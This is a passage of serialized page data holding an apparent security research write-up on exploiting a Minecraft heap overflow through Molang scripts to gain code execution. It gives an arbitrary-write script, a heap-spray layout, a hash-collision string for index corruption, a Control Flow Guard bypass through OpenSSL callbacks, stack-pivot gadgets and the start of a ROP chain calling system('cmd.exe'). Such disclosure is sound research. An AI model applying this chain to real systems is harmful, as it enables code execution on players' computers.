+--+-> +------------+------------+\n | | buf | len |\nMolangVariableMap -+ +------------+------------+\n | | cap | |\n +----> +------------+ |\n | |\n +-------------------------+\n",[152433],{"type":19,"tag":27,"props":152434,"children":152435},{"__ignoreMap":7},[152436],{"type":24,"value":152431},{"type":19,"tag":20,"props":152438,"children":152439},{},[152440,152441,152446,152448,152453,152455,152460,152462,152467,152469,152474,152475,152480,152482,152487],{"type":24,"value":14062},{"type":19,"tag":27,"props":152442,"children":152444},{"className":152443},[],[152445],{"type":24,"value":36627},{"type":24,"value":152447}," field inside a ",{"type":19,"tag":27,"props":152449,"children":152451},{"className":152450},[],[152452],{"type":24,"value":150088},{"type":24,"value":152454}," is at offset ",{"type":19,"tag":27,"props":152456,"children":152458},{"className":152457},[],[152459],{"type":24,"value":150349},{"type":24,"value":152461},". We already control a corrupted variable, ",{"type":19,"tag":27,"props":152463,"children":152465},{"className":152464},[],[152466],{"type":24,"value":152355},{"type":24,"value":152468},", whose target we can shift by adding unseen variables: each unseen variable increments the ",{"type":19,"tag":27,"props":152470,"children":152472},{"className":152471},[],[152473],{"type":24,"value":6579},{"type":24,"value":151396},{"type":19,"tag":27,"props":152476,"children":152478},{"className":152477},[],[152479],{"type":24,"value":150591},{"type":24,"value":152481}," by 2 bytes, which in turn advances ",{"type":19,"tag":27,"props":152483,"children":152485},{"className":152484},[],[152486],{"type":24,"value":152355},{"type":24,"value":152488}," by 2 bytes.",{"type":19,"tag":20,"props":152490,"children":152491},{},[152492,152494,152499,152501,152507,152508,152513,152514,152519,152521,152526],{"type":24,"value":152493},"By moving ",{"type":19,"tag":27,"props":152495,"children":152497},{"className":152496},[],[152498],{"type":24,"value":6579},{"type":24,"value":152500}," so it equals ",{"type":19,"tag":27,"props":152502,"children":152504},{"className":152503},[],[152505],{"type":24,"value":152506},"cap - 0x38",{"type":24,"value":99784},{"type":19,"tag":27,"props":152509,"children":152511},{"className":152510},[],[152512],{"type":24,"value":36627},{"type":24,"value":151396},{"type":19,"tag":27,"props":152515,"children":152517},{"className":152516},[],[152518],{"type":24,"value":152355},{"type":24,"value":152520}," will overlap the first 8 bytes of the adjacent heap chunk above - in our case, the entity object (manipulated by the heap spray) - which means those first 8 bytes are the entity’s ",{"type":19,"tag":27,"props":152522,"children":152524},{"className":152523},[],[152525],{"type":24,"value":152426},{"type":24,"value":152527}," pointer. We can then capture that pointer with:",{"type":19,"tag":158,"props":152529,"children":152531},{"code":152530},"variable.saved_vtable_pointer = variable.corrupted_len_ptr;\n",[152532],{"type":19,"tag":27,"props":152533,"children":152534},{"__ignoreMap":7},[152535],{"type":24,"value":152530},{"type":19,"tag":20,"props":152537,"children":152538},{},[152539,152541,152546,152548,152553,152555,152560,152562,152568],{"type":24,"value":152540},"After saving the leak, we add 27 unseen variables to advance ",{"type":19,"tag":27,"props":152542,"children":152544},{"className":152543},[],[152545],{"type":24,"value":6579},{"type":24,"value":152547}," until it equals ",{"type":19,"tag":27,"props":152549,"children":152551},{"className":152550},[],[152552],{"type":24,"value":152292},{"type":24,"value":152554},". That produces the setup required for our arbitrary read/write primitive while having the leaked ",{"type":19,"tag":27,"props":152556,"children":152558},{"className":152557},[],[152559],{"type":24,"value":152426},{"type":24,"value":152561}," address in ",{"type":19,"tag":27,"props":152563,"children":152565},{"className":152564},[],[152566],{"type":24,"value":152567},"variable.saved_vtable_pointer",{"type":24,"value":948},{"type":19,"tag":16245,"props":152570,"children":152571},{},[],{"type":19,"tag":20,"props":152573,"children":152574},{},[152575,152577,152582,152584,152590],{"type":24,"value":152576},"A Molang script that performs an arbitrary write of the value ",{"type":19,"tag":27,"props":152578,"children":152580},{"className":152579},[],[152581],{"type":24,"value":40980},{"type":24,"value":152583}," to the address ",{"type":19,"tag":27,"props":152585,"children":152587},{"className":152586},[],[152588],{"type":24,"value":152589},"vtable + 0x1000",{"type":24,"value":152591}," looks like this:",{"type":19,"tag":158,"props":152593,"children":152595},{"code":152594},"// calculate lower 16\nvariable.corrupted_len_ptr = variable.saved_vtable_lower_16;\nvariable.corrupted_cap_ptr = 0;\n// subtract the offset of `value` field within MolangVariable (0x38)\nvariable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1000 - 0x38);\nvariable.calculated_lower_16 = variable.corrupted_len_ptr;\n\n// calculate middle 16, check if lower 16 calculation overflows\nvariable.corrupted_len_ptr = variable.saved_vtable_middle_16;\nvariable.corrupted_cap_ptr = 0;\n(variable.calculated_lower_16 >= itof(0x10000)) ? {\n variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);\n};\nvariable.calculated_middle_16 = variable.corrupted_len_ptr;\n\n// calculate high 16, check if middle 16 calculation overflows\nvariable.corrupted_len_ptr = variable.saved_vtable_high_16;\nvariable.corrupted_cap_ptr = 0;\n(variable.calculated_middle_16 >= itof(0x10000)) ? {\n variable.corrupted_len_ptr = variable.corrupted_len_ptr + itof(0x1);\n};\nvariable.calculated_high_16 = variable.corrupted_len_ptr;\n\n// construct the final pointer\nvariable.corrupted_len_ptr = variable.calculated_middle_16;\nvariable.corrupted_cap_ptr = variable.calculated_high_16;\nvariable.calculated_upper_48 = variable.corrupted_len_ptr;\nvariable.corrupted_len_ptr = variable.calculated_lower_16;\nvariable.corrupted_cap_ptr = variable.calculated_upper_48;\n\n// copy the constructed pointer to MolangVariableMap\nvariable.corrupted_var_map_ptr = variable.corrupted_len_ptr;\n\n// variable.f pointer is now `vtable + 0x1000 - 0x38`\n// and the value 0x1337 is written at `vtable + 0x1000`\nvariable.f = itof(0x1337);\n",[152596],{"type":19,"tag":27,"props":152597,"children":152598},{"__ignoreMap":7},[152599],{"type":24,"value":152594},{"type":19,"tag":16345,"props":152601,"children":152603},{"id":152602},"required-heap-layout",[152604],{"type":24,"value":152605},"Required Heap Layout",{"type":19,"tag":20,"props":152607,"children":152608},{},[152609],{"type":24,"value":152610},"To ensure our attack works, the heap spray would manipulate the layout as such once the indices are overwritten:",{"type":19,"tag":158,"props":152612,"children":152614},{"code":152613}," Heap Region 1 Heap Region 2 \n \n+-------------------+ +-------------------+\n| | | |\n| MolangVariableMap | | MolangIndexMap |\n| | | |\n+-------------------+ +-------------------+\n| | | |\n| Entity Object | | Entity Object |\n| | | |\n+-------------------+ +-------------------+\n| | | |\n| MolangVariableMap | | MolangIndexMap |\n| | | |\n+-------------------+ +-------------------+\n| | | |\n| Entity Object | | Entity Object |\n| | | |\n+-------------------+ +-------------------+\n",[152615],{"type":19,"tag":27,"props":152616,"children":152617},{"__ignoreMap":7},[152618],{"type":24,"value":152613},{"type":19,"tag":20,"props":152620,"children":152621},{},[152622,152624,152630,152632,152637,152639,152644,152646,152651,152652,152657],{"type":24,"value":152623},"The first region (",{"type":19,"tag":27,"props":152625,"children":152627},{"className":152626},[],[152628],{"type":24,"value":152629},"Heap Region 1",{"type":24,"value":152631},") contains alternating ",{"type":19,"tag":27,"props":152633,"children":152635},{"className":152634},[],[152636],{"type":24,"value":150415},{"type":24,"value":152638},"-allocated buffers and entity objects. The purpose of this region is that, once a variable index is out of bounds, it can index internal ",{"type":19,"tag":27,"props":152640,"children":152642},{"className":152641},[],[152643],{"type":24,"value":150445},{"type":24,"value":152645}," pointers of ",{"type":19,"tag":27,"props":152647,"children":152649},{"className":152648},[],[152650],{"type":24,"value":150415},{"type":24,"value":8436},{"type":19,"tag":27,"props":152653,"children":152655},{"className":152654},[],[152656],{"type":24,"value":150591},{"type":24,"value":152658}," from the entity object for our main attack.",{"type":19,"tag":20,"props":152660,"children":152661},{},[152662,152664,152670,152672,152677,152679,152684,152686,152691,152693,152698],{"type":24,"value":152663},"The second region (",{"type":19,"tag":27,"props":152665,"children":152667},{"className":152666},[],[152668],{"type":24,"value":152669},"Heap Region 2",{"type":24,"value":152671},") contains interleaved ",{"type":19,"tag":27,"props":152673,"children":152675},{"className":152674},[],[152676],{"type":24,"value":150591},{"type":24,"value":152678},"-allocated buffers and entity objects. This region exists so we can leak an entity object's ",{"type":19,"tag":27,"props":152680,"children":152682},{"className":152681},[],[152683],{"type":24,"value":152426},{"type":24,"value":152685}," pointer into ",{"type":19,"tag":27,"props":152687,"children":152689},{"className":152688},[],[152690],{"type":24,"value":152355},{"type":24,"value":152692}," during our main attack. It could be any object with a ",{"type":19,"tag":27,"props":152694,"children":152696},{"className":152695},[],[152697],{"type":24,"value":152426},{"type":24,"value":152699},", but for simplicity we use the entity object.",{"type":19,"tag":20,"props":152701,"children":152702},{},[152703,152705,152711,152713,152718],{"type":24,"value":152704},"During the attack, overwriting another variable's pointer with\n",{"type":19,"tag":27,"props":152706,"children":152708},{"className":152707},[],[152709],{"type":24,"value":152710},"variable.corrupted_var_map_ptr = variable.corrupted_len_ptr",{"type":24,"value":152712}," will very likely clobber the ",{"type":19,"tag":27,"props":152714,"children":152716},{"className":152715},[],[152717],{"type":24,"value":150911},{"type":24,"value":152719}," pointer of a different entity than the one subject to the initial index corruption. In practice this means: an entity affected by the initial corruption will leak and compute an arbitrary read/write address, then use that address to overwrite a variable pointer in a second, separate entity. The second entity is then used purely to perform arbitrary reads and writes via that variable.",{"type":19,"tag":20,"props":152721,"children":152722},{},[152723],{"type":24,"value":152724},"Because of this cross-entity behavior, we must synchronize all entities. At the time we implemented the exploit we couldn't find a clean way to force synchronized execution. Our workaround was to place all allocated entities at the same world position and put the Molang script into the animation section. Animation scripts are not executed for entities outside the client's field of view, so none of the Molang code runs until the entities become visible.",{"type":19,"tag":20,"props":152726,"children":152727},{},[152728],{"type":24,"value":152729},"The final exploit proceeds in three stages:",{"type":19,"tag":2869,"props":152731,"children":152732},{},[152733,152738,152743],{"type":19,"tag":47,"props":152734,"children":152735},{},[152736],{"type":24,"value":152737},"Position the player so the sprayed entities are out of view (their Molang scripts remain dormant)",{"type":19,"tag":47,"props":152739,"children":152740},{},[152741],{"type":24,"value":152742},"Perform the heap spray with signs to create the desired layout for the attack",{"type":19,"tag":47,"props":152744,"children":152745},{},[152746],{"type":24,"value":152747},"Move the client so all sprayed entities enter the field of view - their animation scripts (our Molang payload) then execute, triggering the leak and the subsequent arbitrary read/write primitive.",{"type":19,"tag":16345,"props":152749,"children":152751},{"id":152750},"initial-corruption-variant-lfh-heap-approach",[152752],{"type":24,"value":152753},"Initial Corruption Variant: LFH Heap Approach",{"type":19,"tag":20,"props":152755,"children":152756},{},[152757],{"type":24,"value":152758},"As mentioned above, LFH heap chunks have no headers and chunk data is adjacent, so the attack can also be carried out in the LFH heap instead of the VS heap. In that case the chunk overlap method is unnecessary - the overflown 4-byte value can be used directly to overwrite the first two variable indices.",{"type":19,"tag":20,"props":152760,"children":152761},{},[152762,152764,152769,152770,152776],{"type":24,"value":152763},"There is no variable at index 0 in the global variable map because when a new variable is encountered it is assigned ",{"type":19,"tag":27,"props":152765,"children":152767},{"className":152766},[],[152768],{"type":24,"value":150658},{"type":24,"value":3923},{"type":19,"tag":27,"props":152771,"children":152773},{"className":152772},[],[152774],{"type":24,"value":152775},"last_index",{"type":24,"value":152777}," is initialized to 0 at program start. Therefore the first two bytes of the 4-byte overflow are irrelevant - only the last two bytes overwrite a single variable index.",{"type":19,"tag":20,"props":152779,"children":152780},{},[152781,152783,152788,152789,152794,152796,152801,152803,152808,152810,152815,152817,152823,152824,152830,152831,152837],{"type":24,"value":152782},"The main attack can be arranged by making the resulting index point at the ",{"type":19,"tag":27,"props":152784,"children":152786},{"className":152785},[],[152787],{"type":24,"value":147611},{"type":24,"value":151396},{"type":19,"tag":27,"props":152790,"children":152792},{"className":152791},[],[152793],{"type":24,"value":150591},{"type":24,"value":152795},". From there, the script can overwrite three variable indices at offset ",{"type":19,"tag":27,"props":152797,"children":152799},{"className":152798},[],[152800],{"type":24,"value":150349},{"type":24,"value":152802}," within the ",{"type":19,"tag":27,"props":152804,"children":152806},{"className":152805},[],[152807],{"type":24,"value":150591},{"type":24,"value":152809}," by using the string type. This works because a Molang string's value is just a ",{"type":19,"tag":27,"props":152811,"children":152813},{"className":152812},[],[152814],{"type":24,"value":53118},{"type":24,"value":152816}," FNV-1 hash; the required string can be found by brute-forcing until the hash contains the three target indices. For example, to overwrite three indices with values ",{"type":19,"tag":27,"props":152818,"children":152820},{"className":152819},[],[152821],{"type":24,"value":152822},"0xfb",{"type":24,"value":471},{"type":19,"tag":27,"props":152825,"children":152827},{"className":152826},[],[152828],{"type":24,"value":152829},"0xfc",{"type":24,"value":8436},{"type":19,"tag":27,"props":152832,"children":152834},{"className":152833},[],[152835],{"type":24,"value":152836},"0xfd",{"type":24,"value":152838}," the script would do:",{"type":19,"tag":158,"props":152840,"children":152842},{"code":152841},"variable.corrupted_index_map_ptr = 'r80n3jsuc';\n",[152843],{"type":19,"tag":27,"props":152844,"children":152845},{"__ignoreMap":7},[152846],{"type":24,"value":152841},{"type":19,"tag":20,"props":152848,"children":152849},{},[152850,152852,152857,152858,152864,152866,152871],{"type":24,"value":152851},"That line would write the ",{"type":19,"tag":27,"props":152853,"children":152855},{"className":152854},[],[152856],{"type":24,"value":53118},{"type":24,"value":89661},{"type":19,"tag":27,"props":152859,"children":152861},{"className":152860},[],[152862],{"type":24,"value":152863},"0x302700fb00fc00fd",{"type":24,"value":152865}," (string's FNV-1 hash) into the allocated ",{"type":19,"tag":27,"props":152867,"children":152869},{"className":152868},[],[152870],{"type":24,"value":150591},{"type":24,"value":152872}," buffer, overwriting three indices with the required values and setting up the desired arbitrary read / write primitive state.",{"type":19,"tag":7050,"props":152874,"children":152876},{"id":152875},"hijacking-execution",[152877],{"type":24,"value":152878},"Hijacking Execution",{"type":19,"tag":20,"props":152880,"children":152881},{},[152882,152884,152889,152891,152897],{"type":24,"value":152883},"Although we can read and write arbitrary values inside the Minecraft memory region - including many ",{"type":19,"tag":27,"props":152885,"children":152887},{"className":152886},[],[152888],{"type":24,"value":152426},{"type":24,"value":152890}," and function pointers in the writable ",{"type":19,"tag":27,"props":152892,"children":152894},{"className":152893},[],[152895],{"type":24,"value":152896},".data",{"type":24,"value":152898}," section - the exploit is not complete: Control Flow Guard (CFG) prevents us from gaining arbitrary code execution by overwriting those pointers and executing a ROP chain.",{"type":19,"tag":20,"props":152900,"children":152901},{},[152902],{"type":24,"value":152903},"CFG is a runtime mitigation that blocks indirect jumps/calls to unapproved addresses; it will crash on an indirect transfer to a location not in its valid-target set.",{"type":19,"tag":20,"props":152905,"children":152906},{},[152907],{"type":24,"value":152908},"Examining Minecraft-specific functions and their disassembly shows the following:",{"type":19,"tag":20,"props":152910,"children":152911},{},[152912],{"type":19,"tag":1344,"props":152913,"children":152915},{"alt":48061,"src":152914},"/posts/minecraft-heap-overflow-to-rce/image11.png",[],{"type":19,"tag":20,"props":152917,"children":152918},{},[152919,152921,152927,152929,152935,152937,152942,152944,152949,152951,152957,152959,152964,152966,152972,152974,152979],{"type":24,"value":152920},"This snippet calls a method on an object: ",{"type":19,"tag":27,"props":152922,"children":152924},{"className":152923},[],[152925],{"type":24,"value":152926},"rcx",{"type":24,"value":152928}," holds the object pointer, the first ",{"type":19,"tag":27,"props":152930,"children":152932},{"className":152931},[],[152933],{"type":24,"value":152934},"mov",{"type":24,"value":152936}," loads the object's ",{"type":19,"tag":27,"props":152938,"children":152940},{"className":152939},[],[152941],{"type":24,"value":152426},{"type":24,"value":152943}," into ",{"type":19,"tag":27,"props":152945,"children":152947},{"className":152946},[],[152948],{"type":24,"value":54258},{"type":24,"value":152950},", and the function pointer at ",{"type":19,"tag":27,"props":152952,"children":152954},{"className":152953},[],[152955],{"type":24,"value":152956},"rax + 0x8",{"type":24,"value":152958}," is read into ",{"type":19,"tag":27,"props":152960,"children":152962},{"className":152961},[],[152963],{"type":24,"value":54258},{"type":24,"value":152965},". Finally, ",{"type":19,"tag":27,"props":152967,"children":152969},{"className":152968},[],[152970],{"type":24,"value":152971},"__guard_dispatch_icall_fptr",{"type":24,"value":152973}," is called - this is the CFG dispatch function that validates ",{"type":19,"tag":27,"props":152975,"children":152977},{"className":152976},[],[152978],{"type":24,"value":54258},{"type":24,"value":152980}," as a legal call target before invoking it.",{"type":19,"tag":20,"props":152982,"children":152983},{},[152984],{"type":24,"value":152985},"All DLLs in the Minecraft directory are compiled with CFG. However, we later found an assembly snippet in the Minecraft executable that calls an object method directly, without a CFG dispatch:",{"type":19,"tag":20,"props":152987,"children":152988},{},[152989],{"type":19,"tag":1344,"props":152990,"children":152992},{"alt":48061,"src":152991},"/posts/minecraft-heap-overflow-to-rce/image12.png",[],{"type":19,"tag":20,"props":152994,"children":152995},{},[152996,152998,153004,153006,153012],{"type":24,"value":152997},"Here, the function pointer at ",{"type":19,"tag":27,"props":152999,"children":153001},{"className":153000},[],[153002],{"type":24,"value":153003},"vtable + 0x10",{"type":24,"value":153005}," is loaded into ",{"type":19,"tag":27,"props":153007,"children":153009},{"className":153008},[],[153010],{"type":24,"value":153011},"rdx",{"type":24,"value":153013}," and then called directly.",{"type":19,"tag":20,"props":153015,"children":153016},{},[153017],{"type":24,"value":153018},"This code comes from OpenSSL, and none of the OpenSSL-specific sections contain CFG dispatch calls. Presumably OpenSSL was compiled without CFG and then statically linked into the executable.",{"type":19,"tag":20,"props":153020,"children":153021},{},[153022,153024,153029],{"type":24,"value":153023},"So the remaining task is to locate OpenSSL function or ",{"type":19,"tag":27,"props":153025,"children":153027},{"className":153026},[],[153028],{"type":24,"value":152426},{"type":24,"value":153030}," pointers within Minecraft's writable sections and use those as overwrite targets to hijack execution.",{"type":19,"tag":16345,"props":153032,"children":153034},{"id":153033},"locating-overwrite-targets",[153035],{"type":24,"value":153036},"Locating Overwrite Targets",{"type":19,"tag":20,"props":153038,"children":153039},{},[153040,153042,153048,153049,153054,153056,153061,153063,153069],{"type":24,"value":153041},"One of the first targets we identified were the ",{"type":19,"tag":27,"props":153043,"children":153045},{"className":153044},[],[153046],{"type":24,"value":153047},"malloc",{"type":24,"value":8436},{"type":19,"tag":27,"props":153050,"children":153052},{"className":153051},[],[153053],{"type":24,"value":147659},{"type":24,"value":153055}," callbacks. These reside in the ",{"type":19,"tag":27,"props":153057,"children":153059},{"className":153058},[],[153060],{"type":24,"value":152896},{"type":24,"value":153062}," section and are invoked whenever they don’t match the expected ",{"type":19,"tag":27,"props":153064,"children":153066},{"className":153065},[],[153067],{"type":24,"value":153068},"OPENSSL_malloc/free",{"type":24,"value":129517},{"type":19,"tag":20,"props":153071,"children":153072},{},[153073],{"type":19,"tag":1344,"props":153074,"children":153076},{"alt":48061,"src":153075},"/posts/minecraft-heap-overflow-to-rce/image13.png",[],{"type":19,"tag":20,"props":153078,"children":153079},{},[153080],{"type":24,"value":153081},"However, none of the registers held a pointer to a controllable region where we could place our ROP chain.",{"type":19,"tag":20,"props":153083,"children":153084},{},[153085,153087,153093,153095,153101,153103,153108],{"type":24,"value":153086},"Later, we found another promising function: ",{"type":19,"tag":27,"props":153088,"children":153090},{"className":153089},[],[153091],{"type":24,"value":153092},"ossl_ec_key_new_method_int",{"type":24,"value":153094},". This function creates and initializes an ",{"type":19,"tag":27,"props":153096,"children":153098},{"className":153097},[],[153099],{"type":24,"value":153100},"EC_KEY",{"type":24,"value":153102}," object. What makes it particularly interesting is that it relies on a global structure (in ",{"type":19,"tag":27,"props":153104,"children":153106},{"className":153105},[],[153107],{"type":24,"value":152896},{"type":24,"value":153109},") containing function pointers:",{"type":19,"tag":20,"props":153111,"children":153112},{},[153113],{"type":19,"tag":1344,"props":153114,"children":153116},{"alt":48061,"src":153115},"/posts/minecraft-heap-overflow-to-rce/image14.png",[],{"type":19,"tag":20,"props":153118,"children":153119},{},[153120,153122,153128,153129,153135,153137,153142,153144,153150,153152,153157,153159,153164,153166,153171],{"type":24,"value":153121},"In the image above, ",{"type":19,"tag":27,"props":153123,"children":153125},{"className":153124},[],[153126],{"type":24,"value":153127},"ret->meth",{"type":24,"value":122981},{"type":19,"tag":27,"props":153130,"children":153132},{"className":153131},[],[153133],{"type":24,"value":153134},"default_ec_key_meth",{"type":24,"value":153136},", which points to a structure of function pointers located in ",{"type":19,"tag":27,"props":153138,"children":153140},{"className":153139},[],[153141],{"type":24,"value":152896},{"type":24,"value":153143},". It then calls ",{"type":19,"tag":27,"props":153145,"children":153147},{"className":153146},[],[153148],{"type":24,"value":153149},"ret->meth->init",{"type":24,"value":153151},", passing the ",{"type":19,"tag":27,"props":153153,"children":153155},{"className":153154},[],[153156],{"type":24,"value":15143},{"type":24,"value":153158}," pointer (",{"type":19,"tag":27,"props":153160,"children":153162},{"className":153161},[],[153163],{"type":24,"value":8434},{"type":24,"value":153165},"). This alone isn’t especially useful because ",{"type":19,"tag":27,"props":153167,"children":153169},{"className":153168},[],[153170],{"type":24,"value":8434},{"type":24,"value":153172}," is heap-allocated.",{"type":19,"tag":20,"props":153174,"children":153175},{},[153176,153178,153183],{"type":24,"value":153177},"But, if we look at how ",{"type":19,"tag":27,"props":153179,"children":153181},{"className":153180},[],[153182],{"type":24,"value":153149},{"type":24,"value":153184}," is invoked in the disassembly:",{"type":19,"tag":20,"props":153186,"children":153187},{},[153188],{"type":19,"tag":1344,"props":153189,"children":153191},{"alt":48061,"src":153190},"/posts/minecraft-heap-overflow-to-rce/image15.png",[],{"type":19,"tag":20,"props":153193,"children":153194},{},[153195,153196,153201,153203,153208,153210,153215,153217,153222,153224,153229,153231,153236,153238,153243,153245,153251],{"type":24,"value":4916},{"type":19,"tag":27,"props":153197,"children":153199},{"className":153198},[],[153200],{"type":24,"value":153149},{"type":24,"value":153202}," is not ",{"type":19,"tag":27,"props":153204,"children":153206},{"className":153205},[],[153207],{"type":24,"value":51979},{"type":24,"value":153209},", it is called while ",{"type":19,"tag":27,"props":153211,"children":153213},{"className":153212},[],[153214],{"type":24,"value":54258},{"type":24,"value":153216}," still contains the value of ",{"type":19,"tag":27,"props":153218,"children":153220},{"className":153219},[],[153221],{"type":24,"value":153127},{"type":24,"value":153223}," - that is, a pointer to the structure in ",{"type":19,"tag":27,"props":153225,"children":153227},{"className":153226},[],[153228],{"type":24,"value":152896},{"type":24,"value":153230}," that we control. This is ideal, because we can overwrite ",{"type":19,"tag":27,"props":153232,"children":153234},{"className":153233},[],[153235],{"type":24,"value":153134},{"type":24,"value":153237}," with a pointer to a region in ",{"type":19,"tag":27,"props":153239,"children":153241},{"className":153240},[],[153242],{"type":24,"value":152896},{"type":24,"value":153244}," where our ROP chain is located, and then perform a stack pivot using a ",{"type":19,"tag":27,"props":153246,"children":153248},{"className":153247},[],[153249],{"type":24,"value":153250},"mov rsp, rax; ret",{"type":24,"value":153252},"-style gadget.",{"type":19,"tag":20,"props":153254,"children":153255},{},[153256,153258,153263,153265,153270],{"type":24,"value":153257},"Although we discovered that ",{"type":19,"tag":27,"props":153259,"children":153261},{"className":153260},[],[153262],{"type":24,"value":153092},{"type":24,"value":153264}," is never called by the Minecraft process, this did not turn out to be a problem as we had already found a way to trigger arbitrary function calls through the ",{"type":19,"tag":27,"props":153266,"children":153268},{"className":153267},[],[153269],{"type":24,"value":153068},{"type":24,"value":153271}," callbacks.",{"type":19,"tag":16345,"props":153273,"children":153275},{"id":153274},"stack-pivot",[153276],{"type":24,"value":153277},"Stack Pivot",{"type":19,"tag":20,"props":153279,"children":153280},{},[153281,153283,153288,153290,153295,153297,153302,153304,153310],{"type":24,"value":153282},"At this point, the plan is as follows: write our ROP chain into a controlled region of ",{"type":19,"tag":27,"props":153284,"children":153286},{"className":153285},[],[153287],{"type":24,"value":152896},{"type":24,"value":153289},", overwrite ",{"type":19,"tag":27,"props":153291,"children":153293},{"className":153292},[],[153294],{"type":24,"value":153134},{"type":24,"value":153296}," to set up the stack pivot, and finally overwrite one of the callbacks so that calling it triggers ",{"type":19,"tag":27,"props":153298,"children":153300},{"className":153299},[],[153301],{"type":24,"value":153092},{"type":24,"value":153303},". This ultimately calls ",{"type":19,"tag":27,"props":153305,"children":153307},{"className":153306},[],[153308],{"type":24,"value":153309},"default_ec_key_meth->init",{"type":24,"value":153311},", which executes the pivot and begins ROP execution.",{"type":19,"tag":20,"props":153313,"children":153314},{},[153315,153317,153323,153325,153331],{"type":24,"value":153316},"We chose to overwrite the ",{"type":19,"tag":27,"props":153318,"children":153320},{"className":153319},[],[153321],{"type":24,"value":153322},"OPENSSL_free",{"type":24,"value":153324}," callback. This produces only a minor memory leak, while overwriting ",{"type":19,"tag":27,"props":153326,"children":153328},{"className":153327},[],[153329],{"type":24,"value":153330},"OPENSSL_malloc",{"type":24,"value":153332}," would require our replacement function to return a writable, unused memory region.",{"type":19,"tag":20,"props":153334,"children":153335},{},[153336,153338,153344,153345,153351,153353,153358],{"type":24,"value":153337},"For the stack pivot, we found two useful gadgets: ",{"type":19,"tag":27,"props":153339,"children":153341},{"className":153340},[],[153342],{"type":24,"value":153343},"add rsp, 0x10; pop r14; ret",{"type":24,"value":8436},{"type":19,"tag":27,"props":153346,"children":153348},{"className":153347},[],[153349],{"type":24,"value":153350},"xchg rsp, rax; ret",{"type":24,"value":153352},". The exploit writes them into ",{"type":19,"tag":27,"props":153354,"children":153356},{"className":153355},[],[153357],{"type":24,"value":152896},{"type":24,"value":153359}," like this:",{"type":19,"tag":158,"props":153361,"children":153363},{"code":153362}," +-----------------------------+\n+0x00 | add rsp, 0x10; pop r14; ret |\n +-----------------------------+\n+0x08 | padding |\n +-----------------------------+\n+0x10 | xchg rsp, rax; ret |\n +-----------------------------+\n+0x18 | padding (pop r14) |\n +-----------------------------+\n+0x20 | ROP Chain |\n +-----------------------------+\n",[153364],{"type":19,"tag":27,"props":153365,"children":153366},{"__ignoreMap":7},[153367],{"type":24,"value":153362},{"type":19,"tag":20,"props":153369,"children":153370},{},[153371,153373,153378,153380,153385,153387,153392,153394,153399,153401,153406,153408,153413,153415,153420],{"type":24,"value":153372},"The second gadget, ",{"type":19,"tag":27,"props":153374,"children":153376},{"className":153375},[],[153377],{"type":24,"value":153350},{"type":24,"value":153379},", is placed in the slot corresponding to the ",{"type":19,"tag":27,"props":153381,"children":153383},{"className":153382},[],[153384],{"type":24,"value":18195},{"type":24,"value":153386}," function pointer. As mentioned earlier, when ",{"type":19,"tag":27,"props":153388,"children":153390},{"className":153389},[],[153391],{"type":24,"value":153149},{"type":24,"value":153393}," is called, ",{"type":19,"tag":27,"props":153395,"children":153397},{"className":153396},[],[153398],{"type":24,"value":54258},{"type":24,"value":153400}," contains a pointer to ",{"type":19,"tag":27,"props":153402,"children":153404},{"className":153403},[],[153405],{"type":24,"value":153134},{"type":24,"value":153407}," - which we have overwritten and now points to our ",{"type":19,"tag":27,"props":153409,"children":153411},{"className":153410},[],[153412],{"type":24,"value":153343},{"type":24,"value":153414}," gadget in ",{"type":19,"tag":27,"props":153416,"children":153418},{"className":153417},[],[153419],{"type":24,"value":152896},{"type":24,"value":948},{"type":19,"tag":20,"props":153422,"children":153423},{},[153424,153426,153432,153434,153439,153441,153447,153449,153454,153456,153461,153463,153468,153470,153475,153477,153482,153484,153489],{"type":24,"value":153425},"When the call occurs, ",{"type":19,"tag":27,"props":153427,"children":153429},{"className":153428},[],[153430],{"type":24,"value":153431},"xchg rsp, rax",{"type":24,"value":153433}," swaps the stack pointer with this controlled pointer inside ",{"type":19,"tag":27,"props":153435,"children":153437},{"className":153436},[],[153438],{"type":24,"value":152896},{"type":24,"value":153440},", effectively moving ",{"type":19,"tag":27,"props":153442,"children":153444},{"className":153443},[],[153445],{"type":24,"value":153446},"rsp",{"type":24,"value":153448}," into our ROP region. After the ",{"type":19,"tag":27,"props":153450,"children":153452},{"className":153451},[],[153453],{"type":24,"value":8434},{"type":24,"value":153455},", execution continues at ",{"type":19,"tag":27,"props":153457,"children":153459},{"className":153458},[],[153460],{"type":24,"value":153343},{"type":24,"value":153462},", which advances ",{"type":19,"tag":27,"props":153464,"children":153466},{"className":153465},[],[153467],{"type":24,"value":153446},{"type":24,"value":153469}," by ",{"type":19,"tag":27,"props":153471,"children":153473},{"className":153472},[],[153474],{"type":24,"value":42014},{"type":24,"value":153476}," bytes, skipping over the padding and the ",{"type":19,"tag":27,"props":153478,"children":153480},{"className":153479},[],[153481],{"type":24,"value":153350},{"type":24,"value":153483}," gadget. From there, the stack pivot is complete and the ROP chain (placed above ",{"type":19,"tag":27,"props":153485,"children":153487},{"className":153486},[],[153488],{"type":24,"value":153350},{"type":24,"value":153490},") begins executing.",{"type":19,"tag":7050,"props":153492,"children":153494},{"id":153493},"rop-chain",[153495],{"type":24,"value":153496},"ROP Chain",{"type":19,"tag":20,"props":153498,"children":153499},{},[153500,153502,153508,153510,153515],{"type":24,"value":153501},"For the demo, the ROP chain simply calls ",{"type":19,"tag":27,"props":153503,"children":153505},{"className":153504},[],[153506],{"type":24,"value":153507},"system(\"cmd.exe\")",{"type":24,"value":153509},". Because Minecraft does not use ",{"type":19,"tag":27,"props":153511,"children":153513},{"className":153512},[],[153514],{"type":24,"value":129239},{"type":24,"value":153516},", the symbol is not imported, so the chain must resolve it dynamically.",{"type":19,"tag":20,"props":153518,"children":153519},{},[153520,153522,153528,153530,153536,153538,153543,153545,153551,153553,153558],{"type":24,"value":153521},"This is straightforward: the chain first calls ",{"type":19,"tag":27,"props":153523,"children":153525},{"className":153524},[],[153526],{"type":24,"value":153527},"GetModuleHandle(\"ucrtbase.dll\")",{"type":24,"value":153529}," to obtain the base address of ",{"type":19,"tag":27,"props":153531,"children":153533},{"className":153532},[],[153534],{"type":24,"value":153535},"ucrtbase.dll",{"type":24,"value":153537}," (which exports ",{"type":19,"tag":27,"props":153539,"children":153541},{"className":153540},[],[153542],{"type":24,"value":129239},{"type":24,"value":153544},"). It then calls ",{"type":19,"tag":27,"props":153546,"children":153548},{"className":153547},[],[153549],{"type":24,"value":153550},"GetProcAddress(ucrtbase_addr, 